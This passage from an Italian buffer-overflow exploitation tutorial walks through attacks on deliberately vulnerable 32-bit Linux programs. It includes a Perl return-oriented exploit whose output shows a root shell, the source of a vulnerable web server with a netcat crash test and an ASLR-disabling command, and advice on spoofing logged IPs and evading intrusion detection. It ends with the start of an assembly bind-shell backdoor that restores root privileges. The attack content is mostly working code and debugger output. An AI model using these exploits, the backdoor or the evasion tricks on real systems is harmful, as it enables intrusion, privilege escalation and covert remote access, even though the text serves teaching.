In questo caso però non possiamo fare questo ragionamento dato che la entry di printf() è esattamente quella prima di exit, a meno che ci basti fare una chiamata sola, ma questo è piuttosto improbabile. Possiamo però spostare la entry di exit() alla fine del nostro codice in modo tale da invocarla comunque alla fine. Riassumendo il nostro buffer di attacco sarà così composto: <our gadgets addresses>,<exit@got>,<padding><address of printf@got> Che compito dovranno avere i nostri gadget? Pensando di semplice possibile sceglierei di cercare di eseguire la entry di printf(). Abbiamo già visto come invocare system. Quello che non abbiamo è la entry nella sezione plt che system non è usata dal nostro programma. Occorre dunque funzione. Vi propongo la sequente indagine,
eseguire un exploit locale il più funzione system() sovrascrivendo la got ci occorre, questo perchè la funzione scoprire come poter chiamare la
Analizziamo con gdb ancora un volta il programma vuln.c e cerchiamo di capire come poter ricavare l'indirizzo di system() senza che nel programma questa venga usata, quindi senza entry per system nella sezione .plt. root@saturn:~/RETOR# gdb a.out -q (gdb) break main Breakpoint 1 at 0x80484e1: file vuln.c, line 16. (gdb) run Starting program: /root/RETOR/a.out Breakpoint 1, main (argc=1, argv=0xbffec994) at vuln.c:16 16 func(argv[1]); (gdb) p system $1 = {<text variable, no debug info>} 0xb7eaaac0 <system> # Indirizzo di system() in libc (gdb) x/10i 0x8048374 # 0x8048374 è l'indirizzo di chiamata di strcpy@plt 0x8048374 <strcpy@plt>: jmp *0x804a00c # nella sezione plt viene effettuato un salto a 0x804a00c, il quale 0x804837a <strcpy@plt+6>: push $0x18 # rimanda a 0x804837a 0x804837f <strcpy@plt+11>: jmp 0x8048334 <_init+48> -------\ # viene effettuato un salto a 0x8048334 0x8048384 <printf@plt>: jmp *0x804a010 | ... | | (gdb) x/10i 0x8048334 | # siamo nella sezione _init a 0x8048334, dalle istruzioni vediamo 0x8048334 <_init+48>: pushl 0x8049ff8 <-------------------------/ # che viene effettuato un'altro salto. 0x804833a <_init+54>: jmp *0x8049ffc -------------------------\ # *0x8049ffc è un'altro puntatore ad indrizzo 0x8048340 <_init+60>: add %al,(%eax) | 0x8048342 <_init+62>: add %al,(%eax)... | | (gdb) x/1x 0x8049ffc | 0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>: 0xb7ff6080 <---------------/ # a tale locazione (nella GOT) ci manda nelle libc. (gdb) q The program is running. Exit anyway? (y or n) y Gli indirizzi che cambiano sempre sono quelli delle libc naturalmente, 0xb7ff6080 e l'indirizzo Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 99 di 193
System exploitation using buffer overflow
di system: 0xb7eaaac0. Quello che è interessante è che nel programma analizzato, il primo di questi indirizzi si trova ad una locazione fissa. Nella GOT, abbiamo visto prima che è a: 0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>: 0xb7ff6080 Sempre. Per il momento verifichiamo questa tesi e verifichiamo anche che la differenza tra i due indirizzi rimane la stessa. Questo è ovvio ma effettuiamo comunque il calcolo per fissare le idee. 0xb7ff6080 - 0xb7eaaac0 = 0x14b5c0 (1357248 bytes) prendiamo nota del risultato e rieffettuiamo i test con un'altra istanza del programma che rilocherà le libc ad indirizzi differenti. root@saturn:~/RETOR# gdb a.out -q (gdb) break main Breakpoint 1 at 0x80484e1: file vuln.c, line 16. (gdb) run Starting program: /root/RETOR/a.out Breakpoint 1, main (argc=1, argv=0xbf9df054) at vuln.c:16 16 func(argv[1]); (gdb) p system $1 = {<text variable, no debug info>} 0xb7f4fac0 <system> (gdb) x/10i 0x8048374 0x8048374 <strcpy@plt>: jmp *0x804a00c 0x804837a <strcpy@plt+6>: push $0x18 0x804837f <strcpy@plt+11>: jmp 0x8048334 <_init+48> ... (gdb) x/10i 0x8048334 0x8048334 <_init+48>: 0x804833a <_init+54>: ...
pushl jmp
0x8049ff8 *0x8049ffc
(gdb) x/1x 0x8049ffc 0x8049ffc <_GLOBAL_OFFSET_TABLE_+8>:
0xb809b080
Ricalcoliamo: 0xb809b080 - 0xb7f4fac0 = 0x14b5c0 (1357248 bytes) ok, questo era ovvio. Abbiamo visto anche che la locazione nella GOT contenente l'indirizzo 0xb809b080 è sempre 0x8049ffc. Questa è fissa ad ogni esecuzione. Questo ci permette di calcolare l'indirizzo della funzione system, Il seguente programma esegue system() calcolando il suo indirizzo a runtime. (relativamente al mio ambiente) --------- test0F.c ----------------------#include <stdio.h> char string[]="/bin/sh"; void main(void) { asm( "push %0;" Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 100 di 193
System exploitation using buffer overflow
"push $0x41414141;" "movl $0x8049ffc, %%edi;" "movl (%%edi), %%eax;" "subl $0x14b5c0, %%eax;" "push %%eax;" "ret;" : :"r"(string) ); } --------- test0F.c END -------------------L'indirizzo 0x8049ffc utilizzato è relativo all'ambiente naturalmente. Così come l'offset dipende come minimo dalla versione delle libc. Abbiamo dunque appreso che l'offset tra l'indirizzo memorizzato alla locazione fissa in <GOT+8> all'indirizzo di system è sempre di 1357248 bytes. Possiamo prendere come riferimento questo indirizzo come altri all'interno dell'immagine, l'importante è che sia fisso. Fatto questo vediamo l'exploit del programma. Quello che vedremo non è semplicemente un exploit che utilizza la tecnica ret-oriented ma un misto di più tecniche. Prima di vederlo e di spiegarne il funzionamento parliamo subito del problema principale a cui abbiamo girato attorno da un pò di righe a questa parte. Il punto è che gli exploit moderni sono molto dipendenti dall'ambiente in cui ci troviamo. Nel senso che se cambiassimo la versione delle libc o la versione del compilatore utilizzato l'exploit che vedremo fra poco non funzionerà più. (questo in particolare) Quindi purtroppo / per fortuna i sistemi vulnerabili sono drasticamente diminuiti un pò per questo motivo, un pò perchè, come abbiamo visto, le tecniche si sono molto complicate. Naturalmente il mio intento è solo quello di conoscere nel dettaglio le cose e non di usare certe tecniche per accedere illegalmente a sistemi di terzi. Detto questo l'exploit in perl: -------------- exploit.pl -------------1 #!/usr/bin/perl 2 3 # code description 4 5 print "\xa2\x85\x04\x08" . # first gadget 6 "\x90\x90\x90\x90" . # padding 7 "\x90\x90\x90\x90" . # padding 8 "\xe8\xa2\x04\x08" . # pointer to this section 9 "\x8c\x83\x04\x08" . # address of second gadget 10 "\xd0\x2c\xfc\xff" . # EAX 11 "\x14\xa0\x8e\x13" . # EBX 12 "AAAA" . # padding 13 "/bin/sh;" . # system() argument 14 "A"x48 . # padding 15 "\x10\xa0\x04\x08" . # printf GOT entry address 16 "\x30\xa0\x04\x08"x160 .# dummy 17 "\xce\x85\x04\x08" . # address of third dadget 18 "\x30\xa0\x04\x08"x0x2 .# dummy 19 "\x30\xa0\x04\x08" . # dummy EBP 20 "\xaf\x84\x04\x08" . # call *%eax 21 "\x30\xa0\x04\x08"; # "/bin/sh" address Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
virtual address --> --> --> --> --> --> --> --> --> --> --> --> --> --> --> --> -->
0x804a010 0x804a014 0x804a018 0x804a01c 0x804a020 0x804a024 0x804a028 0x804a02c 0x804a030 0x804a038 0x804a068 0x804a06c 0x804a2ec 0x804a2f0 0x804a2f8 0x804a2fc 0x804a300
(+ 8 b) (+ 48 b) (+ 640 b) (+8 b)
Pag. 101 di 193
System exploitation using buffer overflow
# # # # # # # # # # # # # # # # # # # # #
GADGETS SUMMARY: 1) add pop pop pop pop ret
0xc, %esp %ebx %esi %edi %ebp
2) pop %eax pop %ebx leave ret 3) add add pop pop ret
- 0x80485a2
- 0x804838c
-0xb8a0008(%ebx),%eax $0x4, %esp %ebx %ebp
4) call *%eax
- 0x80485ce
- 0x80484af
--------- exploit.pl END -------------------La prima osservazione che facciamo è che la copia del buffer che passiamo a riga di comando va a sovrascrivere il puntatore con l'indirizzo: "0x804a010". Esattamente la riga numero 15 dello script. La seconda copia andrà di conseguenza a scrivere a partire proprio da quell'indirizzo la nostra stringa. A questo punto il programma proseguirà normalmente fino al punto in cui printf viene chiamata. Siccome abbiamo sovrascritto il valore memorizzato a 0x804a010, il tutto salterà all'inizio della nostra stringa. (riga 5) Qui è memorizzato l'indirizzo del primo gadget. Questo viene eseguito memorizzando nei registri ESI e EDI le WORD costituite da '0x90'. Poi in EBP viene inserito l'indirizzo appena precedente al terzo gadget. Capiremo il perchè fra poco. Quando l'istruzione "ret" viene eseguita il registro ESP punta all'indirizzo del gadget successivo, questo indirizzo viene caricato in EIP, quindi l'esecuzione passa a questo gadget. Questo caricherà nei registri EAX ed EBX i valori che abbiamo sistematicamente posizionato in memoria nelle due successive locazioni. L'istruzione "leave" ci spiega il perchè abbiamo precedentemente caricato in EBP l'indirizzo subito precedente al terzo gadget, infatti "leave" sistemerà questo in ESP poi lo incrementerà facendolo puntare al terzo gadget. La ret fa il resto. Il terzo gadget presenta come prima istruzione una addizzione che somma un certo valore al registro EAX. Attraverso questa istruzione noi calcoliamo l'indirizzo di system in modo dinamico. Già, perchè in EBX ho un valore a cui sottraendo 0xb8a0008 ottengo l'indirizzo della GOT entry di strcpy. Il valore puntato da questo indirizzo viene addizzionato a EAX, EAX contiene un offset. Anche questo valore è stato caricato dal gadget precedente e contiene l'offset tra strcpy e sytem nelle libc espresso come valore negativo. Questo è fisso naturalmente. Il risultato della computazione è l'indirizzo di system. A questo punto abbiamo tutti gli elementi che ci servono. EAX contiene l'indirizzo che ci occorre, le restanti istruzioni riservano memoria sufficiente all'esecuzione di system senza rischiare di avere un SIGSEGV andando a scrivere in una porzione di memoria non accessibile. L'ultimo gadget consiste nell'istruzione "call *%eax" ovvero la chiamata ad una routine con indirizzo puntato da un registro, nel nostro caso EAX. Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 102 di 193
System exploitation using buffer overflow
Questo è sicuramente uno dei casi più complicati per motivi diversi. Prima di tutto il calcolo di system in modo dinamico. Le libc sono anche esse rilocate ad indirizzi random così come lo stack. Il segmento .text del programma è estremamente limitato, pertanto abbiamo pochissimi gadget a disposizione. Si può dire che normalmente si hanno molte più possibilità con programmi normali che hanno un sezione text molto più vasta. L'esecuzione del programma normale è la seguente: root@HackLab:~/RetOriented# ./ex1 prova Caps: Prova L'exploit: root@HackLab:~/RetOriented# ./ex1 $(./AdvRetExploit.pl) sh-3.2# whoami root sh-3.2# exit exit sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: command not found Segmentation fault 0x14] (Arch: LINUX) - Polimorfismo - IDS/IPS evasion Up Ora vedremo una tecnica leggermente più semplice dele shellcode return-oriented-programming, d'ora in poi "ROP". Anche se la tecnica che spiegherò diventerà comunque inutilizzabile a causa delle protezioni appena viste, vale assolutamente la pena parlarne. Utilizzeremo i soliti strumenti, sui quali oramai dovreste aver acquisito gran dimestichezza, dato che siete arrivati a leggere fino qui. Ero un pò combattuto se inserire questo capitolo prima o dopo aver introdotto ROP, ma credo sia stata più azzeccata questa scelta, ora la mente è senz'altro più elastica ad accettare nuove soluzioni e strategie! Cominciamo da quelle che sono le ulteriori precauzioni prese dagli amministratori di rete e sviluppatori anche se sono proprio questi ultimi quelli che, come abbiamo visto, il più delle volte fanno danni. I programmi e servizi che girano su server, computer o dispositivi di rete sono stati rivisti e aggiunti di tutta una serie di funzioni che riguardano la facoltà di segnalare allarmi, pericoli, rischi e quant'altro. Pensiamo ad esempio ad un server web, che possiede una parte del codice incaricato di inviare verso un file di log ogni accesso e richiesta proveniente dall'esterno. Se pensiamo ai sistemi operativi windows, questi log sono solitamente conservati nelle directory di sistema, su IIS versione 7.0, si trovano in "%SystemDrive%\inetpub\logs\LogFiles", ed hanno un formato chiamato W3C. Ma nelle aziende con un livello di sicurezza adeguato, questi log vengono inviati ad un server syslog tramite il protocollo UDP. Un server syslog è appunto un server con il solo compito di archiviare i log sul suo disco. In alcuni casi si arriva anche alla stampa su carta. Due tipiche righe di log sono ad esempio: 2010-04-12 20:11:08 192.168.0.2 GET / - 80 - 192.168.0.2 Opera/9.80+(Windows+NT+6.1;+U;+it)+Presto/2.5.22+Version/10.51 401 3 5 722 2010-04-12 20:11:08 192.168.0.2 GET /favicon.ico - 80 - 192.168.0.2 Opera/9.80+(Windows+NT+6.1;+U;+it)+Presto/2.5.22+Version/10.51 401 3 5 1 Qui vengono indicate le richieste HTTP effettuate da una certa macchina, come vedete viene registrato anche l'IP, quindi si verrebbe subito identificati in caso di attacco, in questo caso il log conterrebbe tutta la stringa utilizzata per l'exploit. Il seguente esempio mostra le tracce di un attacco tramite shellcode: Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 103 di 193
System exploitation using buffer overflow
10/03/2010 17:50:22> From 192.168.0.2:37008 "????????????????1?1???9?u=1?Q1?Q1?Q????f???1?SSSfh???fS???SRQ?????f?1?9?t1????1?1???QR????f?1?1 ?1???0?1?1?PPR????f???1?1??9?uF1????1?1?1???????1?A???1?A???1?Ph//shh/bin???TPS??? 1?1?@?1????????????????????????????????????????????????????????????????????????????????????????? ???????????????????????????????????????????????????????????????????????????????????????????????? ??????????????????????????" NOT HTTP! Qui è ben visibile L'indirizzo IP ed anche il codice di attacco che va a sfruttare la vulnerabilità del programma, relativamente alla gestione di una stringa dati in ingresso. Esiste comunque la possibilità di poter sovrascrivere oltre che l'indirizzo di ritorno o un puntatore, anche l'indirizzo IP contenuto nella struttura sockaddr. In questo caso il log potrebbe essere il seguente: 10/03/2010 17:50:22> From 144.144.144.144:37008 "????????????????1?1???9?u=1?Q1?Q1?Q????f???1?SSSfh???........ Come vedete l'IP riporta un valore evidentemente contraffatto da una sovrascrittura. Si può anche arrivare a sovrascrivere il socket utilizzato per comunicare con il server syslog. In quel caso la segnalazione non viene nemmeno inviata. Questo è un primo problema, ma come vedremo, abbastanza risolvibile con una analisi attenta della vulnerabilità e una valutazione delle nostre possibilità. Un'altra precauzione più a monte del bersaglio sono i sistemi anti-intrusione. (IDS o IPS). Uno dei più celebri si chiama snort. Come funzionano questi dispositivi? Questi possono essere integrati a dei firewall o come dispositivi supplementari, ad esempio potremmo avere una configurazione come la seguente: ---------> Internet
---------> Firewall
<--------
----------> IDS/IPS sys
<----------
LAN <----------
Un sistema di anti-intrusione "On-line" è in grado di analizzare il traffico di rete pacchetto per pacchetto e intervenire in tempo reale fermando ciò che ritiene pericoloso. Questi sistemi possiedono al loro interno un database, il più delle volte in continuo aggiornamento, per eseguire operazioni di "pattern-matching" sui dati in transito. Cosa cercheranno questi sistemi? Bè abbiamo visto che le shellcode sono formate nella maggioranza dei casi da lunghe sequenze di byte 0x90 per creare i "NOP sled", oppure questi sistemi cercheranno i byte "0xcd, 0x80", ovvero i codici operativi degli interrupt per le syscall, oppure ancora potrebbero cercare stringhe "/bin/sh", o altro ancora. Rilevare invece un attacco via shellcode ROP è molto più complicato. Ma restando sul vecchio stile di attacco, ovvero quello efficace nei kernel precedenti al 2.6, abbiamo necessità di nascondere il nostro codice agli occhi dell'IDS, altrimenti verremmo subito bloccati (e ammanettati). Ora vedremo un exploit remoto che fa uso delle tecniche più sofisticate per nascondere il codice shell. Ma prima di tutto occorre conoscere il nostro bersaglio. Attaccheremo proprio un server web in stile apache molto verosimile, questo possiede anche una funzione di log verso un file contenuto in /var/log/. Il programma si chiama "tinywebd", preso da "The Art of exploitation" di Jon Erickson, che ho leggermente modificato. Supponiamo anche di aver identificato un sistema IDS a protezione del server web. Di seguito vi sono i sorgenti. -------- tinywebd.c -------------------#include #include #include #include
<sys/stat.h> <sys/socket.h> <netinet/in.h> <arpa/inet.h>
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 104 di 193
System exploitation using buffer overflow
#include #include #include #include #include #include #include
<sys/types.h> <sys/stat.h> <fcntl.h> <time.h> <signal.h> "hacking.h" "hacking-network.h"
#define PORT 80 // the port users will be connecting to #define WEBROOT "./webroot" // the web server's root directory #define LOGFILE "/var/log/tinywebd.log" // log filename int logfd, sockfd; // global log and socket file descriptors void handle_connection(int, struct sockaddr_in *, int); int get_file_size(int); // returns the filesize of open file descriptor void timestamp(int); // writes a timestamp to the open file descriptor // This function is called when the process is killed void handle_shutdown(int signal) { timestamp(logfd); write(logfd, "Shutting down..\n", 16); close(logfd); close(sockfd); exit(0); } int main(void) { int new_sockfd, yes=1; struct sockaddr_in host_addr, client_addr; socklen_t sin_size;
// my address information
logfd = open(LOGFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR); if(logfd == -1) fatal("opening log file"); if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) fatal("setting socket option SO_REUSEADDR"); printf("Starting tiny web daemon..\n"); if(daemon(1, 0) == -1) // fork to a background daemon process fatal("forking to daemon process"); signal(SIGTERM, handle_shutdown); signal(SIGINT, handle_shutdown);
// call handle_shutdown when killed // call handle_shutdown when interrupted
timestamp(logfd); write(logfd, "Starting up..\n", 15); host_addr.sin_family = AF_INET; // host_addr.sin_port = htons(PORT); // host_addr.sin_addr.s_addr = INADDR_ANY; memset(&(host_addr.sin_zero), '\0', 8);
host byte order short, network byte order // automatically fill with my IP // zero the rest of the struct
if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1) fatal("binding to socket"); Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 105 di 193
System exploitation using buffer overflow
if (listen(sockfd, 20) == -1) fatal("listening on socket"); while(1) { // Accept loop sin_size = sizeof(struct sockaddr_in); new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); if(new_sockfd == -1) fatal("accepting connection"); handle_connection(new_sockfd, &client_addr, logfd); } return 0; } /* This function handles the connection on the passed socket from the * passed client address and logs to the passed FD. The connection is * processed as a web request and this function replies over the connected * socket. Finally, the passed socket is closed at the end of the function. */ void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[1024], resource[1024], log_buffer[1024]; int fd, length; length = recv_line(sockfd, request); sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request); ptr = strstr(request, " HTTP/"); // search for valid looking request if(ptr == NULL) { // then this isn't valid HTTP strcat(log_buffer, " NOT HTTP!\n"); } else { *ptr = 0; // terminate the buffer at the end of the URL ptr = NULL; // set ptr to NULL (used to flag for an invalid request) if(strncmp(request, "GET ", 4) == 0) // get request ptr = request+4; // ptr is the URL if(strncmp(request, "HEAD ", 5) == 0) // head request ptr = request+5; // ptr is the URL if(ptr == NULL) { // then this is not a recognized request strcat(log_buffer, " UNKNOWN REQUEST!\n"); } else { // valid request, with ptr pointing to the resource name if (ptr[strlen(ptr) - 1] == '/') // for resources ending with '/' strcat(ptr, "index.html"); // add 'index.html' to the end strcpy(resource, WEBROOT); // begin resource with web root path strcat(resource, ptr); // and join it with resource path fd = open(resource, O_RDONLY, 0); // try to open the file if(fd == -1) { // if file is not found strcat(log_buffer, " 404 Not Found\n"); send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n"); send_string(sockfd, "Server: Tiny webserver\r\n\r\n"); send_string(sockfd, "<html><head><title>404 Not Found</title></head>"); send_string(sockfd, "<body><h1>URL not found</h1></body></html>\r\n"); } else { // otherwise, serve up the file strcat(log_buffer, " 200 OK\n"); send_string(sockfd, "HTTP/1.0 200 OK\r\n"); send_string(sockfd, "Server: Tiny webserver\r\n\r\n"); Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 106 di 193
System exploitation using buffer overflow
if(ptr == request + 4) { // then this is a GET request if( (length = get_file_size(fd)) == -1) fatal("getting resource file size"); if( (ptr = (unsigned char *) malloc(length)) == NULL) fatal("allocating memory for reading resource"); read(fd, ptr, length); // read the file into memory send(sockfd, ptr, length, 0); // send it to socket free(ptr); // free file memory } close(fd); // close the file } // end if block for file found/not found } // end if block for valid request } // end if block for valid HTTP timestamp(logfd); length = strlen(log_buffer); write(logfd, log_buffer, length); // write to the log shutdown(sockfd, SHUT_RDWR); // close the socket gracefully } /* This function accepts an open file descriptor and returns * the size of the associated file. Returns -1 on failure. */ int get_file_size(int fd) { struct stat stat_struct; if(fstat(fd, &stat_struct) == -1) return -1; return (int) stat_struct.st_size; } /* This function writes a timestamp string to the open file descriptor * passed to it. */ void timestamp(fd) { time_t now; struct tm *time_struct; int length; char time_buffer[40]; time(&now); // get number of seconds since epoch time_struct = localtime((const time_t *)&now); // convert to tm struct length = strftime(time_buffer, 40, "%m/%d/%Y %H:%M:%S> ", time_struct); write(fd, time_buffer, length); // write timestamp string to log } -------- tinywebd.c END ----------------------- hacking.c --------------------#include <stdio.h> #include <stdlib.h> #include <string.h> // A function to display an error message and then exit void fatal(char *message) { char error_message[100]; Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 107 di 193
System exploitation using buffer overflow
strcpy(error_message, "[!!] Fatal Error "); strncat(error_message, message, 83); perror(error_message); exit(-1); } // An error checked malloc() wrapper function void *ec_malloc(unsigned int size) { void *ptr; ptr = malloc(size); if(ptr == NULL) fatal("in ec_malloc() on memory allocation"); return ptr; } -------- hacking.c END ------------------------ hacking-network.c ------------/* This function accepts a socket FD and a ptr to the null terminated * string to send. The function will make sure all the bytes of the * string are sent. Returns 1 on success and 0 on failure. */ int send_string(int sockfd, unsigned char *buffer) { int sent_bytes, bytes_to_send; bytes_to_send = strlen(buffer); while(bytes_to_send > 0) { sent_bytes = send(sockfd, buffer, bytes_to_send, 0); if(sent_bytes == -1) return 0; // return 0 on send error bytes_to_send -= sent_bytes; buffer += sent_bytes; } return 1; // return 1 on success } /* This function accepts a socket FD and a ptr to a destination * buffer. It will receive from the socket until the EOL byte * sequence in seen. The EOL bytes are read from the socket, but * the destination buffer is terminated before these bytes. * Returns the size of the read line (without EOL bytes). */ int recv_line(int sockfd, unsigned char *dest_buffer) { #define EOL "\r\n" // End-Of-Line byte sequence #define EOL_SIZE 2 unsigned char *ptr; int eol_matched = 0; ptr = dest_buffer; while(recv(sockfd, ptr, 1, 0) == 1) { // read a single byte if(*ptr == EOL[eol_matched]) { // does this byte match terminator eol_matched++; if(eol_matched == EOL_SIZE) { // if all bytes match terminator, *(ptr+1-EOL_SIZE) = '\0'; // terminate the string return strlen(dest_buffer); // return bytes recevied } Copyright Š Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 108 di 193
System exploitation using buffer overflow
} else { eol_matched = 0; } ptr++; // increment the pointer to the next byter; } return 0; // didn't find the end of line characters } -------- hacking-network.c END --------Avete identificato il problema? Il server possiede una vulnerabilità da buffer overflow all'interno della funzione recv_line(), contenuta nel modulo hacking-network.h. Se la analizzate attentamente vi accorgete che non viene fatto nessun controllo sulla lunghezza della stringa ricevuta. Di conseguenza se noi inviamo una stringa più lunga di 1024 byte, abbiamo modo di sovrascrivere gli elementi precedenti al buffer di ricezione, in questo caso l'array request. Ecco la situazione: void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { unsigned char *ptr, request[1024], resource[1024], log_buffer[1024]; int fd, length; length = recv_line(sockfd, request); [ ... ] La funzione handle_connection viene chiamata passandogli il socket connesso e il nostro indirizzo IP, quindi potremmo anche pensare di sovrascriverlo. Come potete immaginare da request siamo in grado di modificare l'indirizzo di ritorno di handle_connection() salvato in stack, *ptr, logfd, *client_addr_ptr ecc... Iniziamo l'analisi, facciamo partire il server, questo si imposterà come demone di sistema: root@Moon:~# ./tinywebd Starting tiny web daemon.. Quindi ci attacchiamo al processo con il debugger, il processo sarà in attesa su accept() come quasi tutti i server... root@Moon:~# ps -A | grep tiny 1812 ? 00:00:00 tinywebd root@Moon:~# gdb -q -pid=1812 --symbols=./tinywebd Reading symbols from /root/tinywebd...done. Attaching to process 1812 Load new symbol table from "/root/tinywebd"? (y or n) y Reading symbols from /root/tinywebd...done. Reading symbols from /lib/tls/i686/cmov/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/tls/i686/cmov/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 0x00bfa422 in __kernel_vsyscall () Una buona idea è impostare un break point sulla funzione incriminata, ad esempio su recv_line(). (gdb) b 86 Breakpoint 1 at 0x8049098: file tinywebd.c, line 86. (gdb) continue Continuing. Ora che abbiamo impostato gdb vediamo di inviare un stringa al server, possiamo farlo con un Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 109 di 193
System exploitation using buffer overflow
browser oppure con netcat, vediamo in quest'ultimo modo, spostiamoci su'altro terminale; root@Moon:~# python -c "print 'A'*512" | nc 127.0.0.1 80 a questo punto il server riceve la sequenza di "A" lunga 512 byte, ritorniamo a gdb; Breakpoint 1, handle_connection (sockfd=5, client_addr_ptr=0xbfc05628, logfd=3) at tinywebd.c:86 86 tinywebd.c: Nessun file o directory. in tinywebd.c Siamo fermi sul breakpoint che avevamo impostato, verifichiamo la nostra posizione con back trace e vediamo la posizione del buffer "request" rispetto l'indirizzo di ritorno; (gdb) bt #0 handle_connection (sockfd=5, client_addr_ptr=0xbfc05628, logfd=3) at tinywebd.c:86 #1 0x0804908b in main () at tinywebd.c:72 (gdb) n 88 in tinywebd.c (gdb) n 90 in tinywebd.c (gdb) n 91 in tinywebd.c (gdb) print request $2 = 'A' <repeats 512 times>, "\n\000\300\277 \006+\000x\205\004\b\340\353+\000\364\337+\000LLT\000\001\000\000\000\214T\300\277f\260*\000( \236\t \236\t( \236\t\364oi\000\250\000\000\000\001\000\000\000\260\302T\000\020ii\r`T\300\277\266\252*\00..... ...... (gdb) x/16wx request+1024 0xbfc055e4: 0x00000000 0xbfc05628 0x00000000 0x00696ff4 0xbfc055f4: 0x00000000 0xbfc05658 0x0804908b 0x00000005 0xbfc05604: 0xbfc05628 0x00000003 0xbfc05648 0x00000004 0xbfc05614: 0x0804aff4 0xbfc05628 0x08048870 0x002b00c0 (gdb) x/x 0xbfc055f4+8 0xbfc055fc: 0x0804908b Come vede si trova davvero pochi byte dopo il buffer. Ora arrestiamo il server e disabilitiamo l'ASLR del kernel, come ho già detto questo attacco non funziona più su sistemi moderni. root@Moon:~# killall tinywebd root@Moon:~# echo 0 > /proc/sys/kernel/randomize_va_space Riavviamo e rifacendo le operazioni viste prima, riportiamoci su accept(). A questo punto inviamo quel tanto che basta a sovrascrivere l'indirizzo di ritorno, dovremmo vedere il server che cresha... (gdb) n 0x41414141 in ?? () (gdb) i r eax 0xffffffff ecx 0xffffffc8 edx 0x9 9 ebx 0x41414141 esp 0xbffff3c0 ebp 0x41414141 esi 0x41414141
-1 -56 1094795585 0xbffff3c0 0x41414141 1094795585
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 110 di 193
System exploitation using buffer overflow
edi eip eflags cs ss ds es fs gs
0x0 0 0x41414141 0x41414141 0x282 [ SF IF ] 0x73 115 0x7b 123 0x7b 123 0x7b 123 0x0 0 0x33 51
Infatti è così. EIP contiene 0x41, la codifica di 'A'. L'analisi del server e della sua vulnerabilità è conclusa, ci basta prendere nota dell'indirizzo di request che, con ASLR disabilitato, si troverà sempre alla stessa locazione. A questo punto dobbiamo venire al nostro problema, ovvero dobbiamo trovare un modo per bypassare i controlli fatti dall'IDS. Per attaccare il server ho deciso di scrivermi una shellcode con la "s" maiuscola. Voglio che questa sia anche riutilizzabile più volte. Quindi ho aggiunto a ciò che abbiamo visto nei capitoli precedenti due nuove funzionalità per la backdoor. La prima è l'uso di fork() per accettare connessioni multiple. La backdoor si comporterà quindi come la maggior parte dei servizi di rete standard, quando mi connetterò, il processo principale eseguirà una fork() di se stesso rimanendo in attesa di nuove connessioni mentre quella arrivata verrà gestita dal nuovo processo creato. Inoltre, una delle prime cose che il codice farà è eseguire la syscall setuid(). Questa serve per impostare i permessi di root sul processo nel caso in cui il server abbia preventivamente abbassato i suoi stessi privilegi per auto proteggersi, se avete studiato il discorso degli user id reali, effettivi e salvati, sapete benissimo che cosa intendo. La seguente è la backdoor che eseguiremo: ---------- backdoor.S -------------------/* * * * * * * * * *
This is a reusable backdoor, Author: Note:
Matteo Tosato - 2010 Do not use this code to destroy systems, hacking is a way of thinking, is not a crime.
The follows code, forks and spawn a root shell listening on port 43690, if target program adjust his privileges, setuid() call readjust root permissions on process. The code is all without null bytes.
* NORMAL ASSEMBLY CODE OF BACKDOOR * * CAUTION! The following code can be easily detected by IDS or IPS systems * */ .text .globl main main: // fork() xorl %ebx, %ebx xorl %eax, %eax movb $2, %al int $0x80
// fork int // INTERRUPT
Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 111 di 193
System exploitation using buffer overflow
cmpl %eax, %ebx jne L_EXIT // sock = socket(PF_INET(2),SOCK_STREAM(1),IPPROTO_TCP(6)) xorl %ecx, %ecx movb $6, %cl pushl %ecx // IPPROTO_TCP xorl %ecx, %ecx movb $1, %cl pushl %ecx
// SOCK_STREAM
xorl %ecx, %ecx movb $2, %cl pushl %ecx
// PF_INET
movl %esp, %ecx
// arguments pointer
movb $1, %bl movb $102, %al int $0x80
// socket call // SYS_socketcall // INTERRUPT
// socket in ecx, movl %eax, %ecx // bind(sd, (struct sockaddr*)&srv, 0x10) xorl %ebx, %ebx // struct sockaddr_in { pushl %ebx // char sin_zero[8] pushl %ebx // struct in_addr sin_addr pushl %ebx // pushw $43690 // unsigend short sin_port movb $2, %bl // pushw %bx // short sin_family } movl %esp, %edx
// sockaddr_in pointer
movb $16, %bl pushl %ebx pushl %edx pushl %ecx
// sizeof(struct sockaddr) // sockaddr_in pointer // socket
movl %ecx, %edx
// copy of socket
movl %esp, %ecx
// pointer to arguments
movb $2, %bl movb $102, %al int $0x80
